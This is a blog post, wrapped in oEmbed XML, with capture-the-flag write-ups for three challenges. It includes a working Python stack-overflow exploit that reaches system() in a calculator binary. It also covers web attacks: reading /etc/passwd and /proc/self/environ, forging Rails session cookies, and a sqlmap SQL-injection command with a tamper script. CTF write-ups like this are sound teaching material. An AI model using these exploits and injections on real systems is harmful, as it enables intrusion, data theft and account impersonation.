<?xml version="1.0" encoding="UTF-8" standalone="yes"?><oembed><version><![CDATA[1.0]]></version><provider_name><![CDATA[dougallj]]></provider_name><provider_url><![CDATA[https://dougallj.wordpress.com]]></provider_url><author_name><![CDATA[dougallj]]></author_name><author_url><![CDATA[https://dougallj.wordpress.com/author/dougallj/]]></author_url><title><![CDATA[Quick Writeups from Teaser CONFidence CTF&nbsp;2017]]></title><type><![CDATA[link]]></type><html><![CDATA[<p>Over the weekend I played the Teaser CONFidence (Dragon Sector) CTF with 9447. These are my writeups on all the challenges I solved, for the benefit of the rest of my team. Perhaps also of interest to the challenge authors and other participants, but definitely not the most interesting writeups.</p>
<h2>Fastcalc (Pwning, 500)</h2>
<p>I was pretty happy to get &#8220;first blood&#8221; on this challenge, but unfortunately solving a challenge quickly often means solving it without a thorough understanding, so it&#8217;s not going to be a brilliant writeup.</p>
<p>This was a 32-bit Windows challenge which provided a simple calculator.</p>
<p>I started reversing in IDA. It had a conspicuous call to <strong>system(&#8220;echo Fastcalc&#8230;&#8221;)</strong> near the top of the function, surrounded by normal IO functions (probably C++, but could be C – I didn&#8217;t pay too much attention). So I had some idea of where I&#8217;d end up jumping, and that I should be trying to get <strong>eip</strong> control. The code also, somewhat strangely, uses <a href="https://msdn.microsoft.com/en-us/library/windows/desktop/ms682661(v=vs.85).aspx">fibers</a> to transfer control flow. Fortunately I&#8217;d recently learnt about them <a href="https://www.youtube.com/user/pervognsen/videos">elsewhere</a>, and they had very little to do with my solution to the challenge itself.</p>
<p>The code allowed construction of &#8220;new&#8221; expressions, followed by execution of expressions. The parser accepted only doubles, the usual four arithmetic operators (<strong>+ &#8211; * /</strong>) and parentheses, and had some notion of precedence. I believe the parser essentially converted from the usual infix form represented by characters (&#8220;1+2*3&#8221;) to a postfix form stored in structures in memory (&#8220;1 2 3 * +&#8221;).</p>
<p>I reversed the structures, and the function that output them, as follows:</p>
<pre>struct ParseNode
{
 double double_or_byte;
 _DWORD is_operator_byte;
 _DWORD padding;
};

struct ParseNodes
{
 _DWORD num_nodes;
 _DWORD padding;
 ParseNode nodes[256];
};
void __cdecl append_double_or_byte(int a1, char a2, double a3, ParseNodes *a4)
{
 a4-&gt;nodes[a4-&gt;num_nodes].is_operator_byte = a1;
 if ( a1 )
   LOBYTE(a4-&gt;nodes[a4-&gt;num_nodes].double_or_byte) = a2;
 else
   a4-&gt;nodes[a4-&gt;num_nodes].double_or_byte = a3;
 ++a4-&gt;num_nodes;
}

</pre>
<p>I noticed that this does not do any kind of overflow checking, and this structure is allocated on the stack of the <strong>wmain</strong> function. So I had a look at some of the following values in memory and formed a theory that I could get it to write a pointer into a <strong>double</strong> and leak it back to me as the result of an expression (e.g. 0+0+0+0+0+0&#8230;).</p>
<p>I tried this, and overflowed the stack a bit, but when I ran the expression it just dumped out a lot of stack memory as the expression name. I had no idea why, and I solved the challenge without knowing. (But I now propose it was caused by corrupting an <strong>std::string</strong> structure, which can have inline data or dynamically allocated data. It probably didn&#8217;t corrupt the length, but changed what I presume is the &#8220;capacity&#8221; field so that the string looked inline for its data. I get to <strong>std::string</strong>s in a minute.)</p>
<p>I later figured out a way to make my original idea work too, but it was much less useful than the stack leak, so I forgot about it.</p>
<p>I noticed the stack had a cookie, which meant it was unlikely that we could get <strong>eip</strong> control that way, and wasted a bit of time trying to reason about what was on the stack that I could poke. It amounted to mostly a bunch of strings, and not much of interest, so I went back to the &#8220;stack overflow&#8221; approach, hoping that it would be possible due to the uninitialised gaps often left in the 16-byte structures I was overflowing.</p>
<p>I initially tried to skew the postfix tree so that it would be all controlled values followed by all operators &#8220;0+(0+(0+(0+0)))&#8221; -&gt; &#8220;0 0 0 0 0 + + + +&#8221;, but quickly found that that wrote past the bottom of the stack and crashed, so I switched to an approach where I did &#8220;0+0+0+0+0&#8221; until I got past the end of the main buffer, then switched to the contiguous doubles at the end of the sequence.</p>
<p>This worked but produced a bunch of useless crashes long before returning from the function, apparently freeing some <strong>std::string</strong> structures. I reversed a bit and figured that if I sprayed a value less than 0x10 it wouldn&#8217;t try to free the memory, so I changed to spray with the double value that was encoded as <strong>0F 00 00 00 0F 00 00 00</strong>, which ended up with <strong>eip</strong> = <strong>0xF</strong>. Awesome!</p>
<p>I switched to using more interesting values and discovered a problem where the low bits of my doubles were getting corrupted. To my surprise this was caused by rounding in pythons <strong>str</strong> implementation. Switching to <strong>repr</strong> fixed it. Lesson learned.</p>
<p>The stack layout meant that I controlled one more DWORD (the other half of a double) on the stack after the return address. If I returned directly to the <strong>system</strong> function, that would be interpreted as the return address (from system), but by returning to the instruction &#8220;<strong>call system</strong>&#8221; it gets treated as the argument – a pointer to a string.</p>
<p>So now I just needed to get string data in memory. However the code was reading from user input it didn&#8217;t allow spaces, so the command &#8220;<strong>type flag.txt</strong>&#8221; wasn&#8217;t going to work. I discovered that &#8220;<strong>type,flag.txt</strong>&#8221; could work, and proceeded to foolishly load it into the stack frame of main, and pass a pointer to it to <strong>system</strong>. This doesn&#8217;t work, because we&#8217;ve already returned from main, so <strong>system</strong>&#8216;s stack frame corrupted its own argument. The only other things on the stack I could easily control were doubles, but they were only 8 bytes long. In the end I packed the command &#8220;<strong>type f*</strong>&#8221; into a double and it worked. Yay!</p>
<p>The somewhat abbreviated, although no less terrible, code:</p>
<pre>def get_nested_thing(image_base, stack_leak):
  dwords = [
    15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15,
    15, 15, 15,
    image_base + 0x3055,
    stack_leak - 36,
    struct.unpack('I', 'type')[0],
    struct.unpack('I', ' f*\0')[0],
    15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15]
  values = []
  for i in range(0, len(dwords), 2):
    values.append(repr(struct.unpack('d',
                struct.pack('II', dwords[i], dwords[i+1]))[0]))
  global values_index
  values_index = 0
  def next_value():
    global values_index
    v = values[values_index]
    values_index += 1
    return v
  def nested(x):
    if x == 0:
      return next_value()+'+'+next_value()
    return next_value()+'+(' + nested(x-1) + ')'
  return nested(15)

read_until('Operation: ')
send('new\n')
read_until('expression: ')
send(128*'000+' +  '(0+0)\n')
read_until('Operation: ')
send('run\n')
read_until('Expression ')
leak = read_until(': still running.')[:-len(': still running.')]
leak = leak[:len(leak)-len(leak)%4]

values = struct.unpack('I' * (len(leak)/4), leak)
text_leak = values[12]
assert (text_leak &amp; 0xFFFF) == 0x3483
image_base = text_leak - 0x13483

read_until('Operation: ')
send('new\n')
read_until('expression: ')
raw_input('press enter:')
send('0+'*126 + get_nested_thing(image_base, values[15]) + '\n')
while 1:
  if 'runtime error' in read_until('Operation: '): break
  send('run\n')
  read_until('Expression ')

send('new\n')
read_until('expression: ')
send('.type,flag.txt\n')
read_until('Operation: ')
send('quit\n')
read_until('asdfasdf')</pre>
<h1>derailed (Web, 300)</h1>
<p>Derailed was a Ruby on Rails web challenge in the form of a note taking app. I registered an account, logged in, and the first thing I noticed viewing source was that images were embedded using base64 URLs, which seemed a bit odd. The next thing I noticed was that these images came from URLs in the markdown, so the code:</p>
<pre style="text-align:justify;">![derailed](http://derailed.hackable.software//derailed.png)</pre>
<p>would appear as a <strong>base64</strong> encoded image. I tried <strong>file:///</strong> URLs, which didn&#8217;t work. I tried to get it to send an HTTP request to a server I controlled, which did work, but didn&#8217;t lead anywhere. I considered setting up <strong>FTP</strong> or <strong>SMB</strong> servers to see if it would send me credentials (which was a solution to a CTF challenge I failed to complete many years ago), but didn&#8217;t. Eventually I tried just <strong>/etc/passwd</strong> which worked.</p>
<p>The <strong>passwd</strong> file listed the home directory of the <strong>derailed</strong> user, and I found an example rails app on GitHub and used that to guess some URLs and pull down some of the source files.</p>
<p>I also found the rails secret key in <strong>/proc/self/environ</strong> and used that to make sessions impersonating other users in the hopes that a key was stored as user zero or one. In hindsight I should have seen that this was a dead end, but after successfully writing a ruby script to make fraudulent cookies, and iterating over every possible user I didn&#8217;t find the key, just lots of other contestants notes.</p>
<p>I went to dinner, and tried to think of alternate approaches to suggest to my team mates, or paths we hadn&#8217;t searched yet. I figured I had some time to kill, so I tried auditing for other bugs and stumbled upon this code:</p>
<pre>def index
  @notes = current_user.notes.order(order)
end
def order
  order = params[:order]
  if order =~ /^(created_at|updated_at|title)$/
    order
  else
    'created_at'
  end
end</pre>
<p>I&#8217;m really not familiar with Ruby, but I knew that using regex for validation isn&#8217;t foolproof, and I&#8217;d done SQL injection through an ORM at my day job years ago, so I tried bypassing it by appending &#8220;%0a&#8221; to the parameter, which worked. I still wasn&#8217;t sure if it was injectable, but I figured out that &#8220;%0a-&#8221; would crash but &#8220;%0a&#8211;&#8221; wouldn&#8217;t, and assumed it truly was SQL injection.</p>
<p>I had a nice dinner with friends.</p>
<p>On the train ride home I got back to it, this time using <strong>sqlmap</strong> (I&#8217;m lazy, and it&#8217;s pretty good). It was a tricky injection, so I figured out how to do blind queries myself, then specified the injection point manually:</p>
<pre>sqlmap.py -u 'http://derailed.hackable.software/notes?order=
              created_at%0a,%20updated_at%20limit%20(select
              %20count(*)%20from%20users%20where%201=1*)'
              --cookie='_derailed_session=...'</pre>
<p>(sorry about the confusing wrapping)</p>
<p>As you can see I initially didn&#8217;t escape the &#8216;*&#8217; in <strong>count(*)</strong> causing some injection point confusion, but after that (and a ton of other fiddling with random options I didn&#8217;t really understand) I got it to recognise the blind AND based injection.</p>
<p>On the train ride home I got it to dump the table names and column names and asked it to dump the most interesting one:</p>
<pre>Database: public
Table: fl4g
[1 entry]
+---------+
| F1A6    |
+---------+</pre>
<p>But it just gave up because of 500 errors, and I had to get off the train and walk home. On my walk I reasoned that it might be because the column name looks like hexadecimal, and if I could only quote it it might work. When I got home I verified this (using the extremely verbose setting on sqlmap to get the URLs and modify them by hand), and wrote a tamper script to do it for me (surprisingly easily):</p>
<pre>from lib.core.enums import PRIORITY
def tamper(payload, **kwargs):
  retVal = payload.replace('F1A6', 'fl4g."F1A6"')
  return retVal</pre>
<p>I wrote just over half of one of those lines, the rest are from the manual/template. The final flags were &#8220;<span class="s1"><strong>&#8211;dbms=postgres &#8211;dump -T fl4g -D public &#8211;threads=4 &#8211;tamper=quote</strong>&#8221; (because I called my script <strong>quote.py</strong>). And it gave me the flag.</span></p>
<h1>INDEX (Forensics, 400)</h1>
<p>I wasn&#8217;t going to write this up. No offence to the creator, but I just really like pwning a lot more than sifting through haystacks. I wasted hours trying to find tools to parse the filesystem and dump the metadata, specifically the catalog, because of the cryptic poem:</p>
<pre>I'm a collector and I've always been misunderstood
I like the things that people always seem to overlook
I gather up and catalog it in a book I wrote
There's so much now that I forget if I don't make a note</pre>
<p>I started reading the HFS specification, and an HFS parser <strong>espes</strong> had written.</p>
<p>In the end, I pieced together the two parts of a Mach-O by looking at where they started and stopped in a hex editor. I loaded it in IDA and read the code. I found the XOR key, and knew exactly what file was meant by inode 19 due to all the previous investigations and dodgy tools I&#8217;d installed in virtual machines. I XOR&#8217;d the right bytes with the other right bytes and got the key.</p>
]]></html></oembed>